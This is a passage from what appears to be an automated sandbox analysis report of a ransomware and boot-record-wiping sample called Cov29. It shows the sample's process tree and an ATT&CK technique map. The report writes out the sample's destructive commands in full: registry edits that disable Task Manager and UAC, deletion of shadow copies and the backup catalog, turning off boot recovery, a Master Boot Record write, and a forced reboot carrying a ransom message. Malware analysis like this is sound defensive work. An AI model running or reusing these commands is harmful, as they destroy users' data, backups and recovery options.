  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:5476
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\75E.tmp\fakeerror.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5564
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5584
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5732
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5748
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5768
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5784
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5796
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5812
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5828
- - C:\Users\Admin\AppData\Local\Temp\75E.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    PID:5856
- - C:\Users\Admin\AppData\Local\Temp\75E.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5880
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:980
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:5768
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:5872
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6112
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:5880
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4436
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4548
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:6076
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:5576
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        Suspicious use of FindShellTrayWindow
        
        PID:4240
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5904
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5964
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3140
- - C:\Users\Admin\AppData\Local\Temp\75E.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5376

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5960

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5984

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2280

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery